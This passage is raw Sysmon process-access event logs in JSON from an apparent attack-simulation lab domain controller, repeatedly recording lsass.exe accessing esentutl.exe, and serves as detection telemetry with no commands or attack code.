11:56:32.447","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5480,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.447\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.447","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5481,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.463\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.463","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5482,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.463\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.463","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5483,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.463\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.463","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5484,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.463\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.463","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5485,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.463\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.463","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5486,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.463\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.463","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 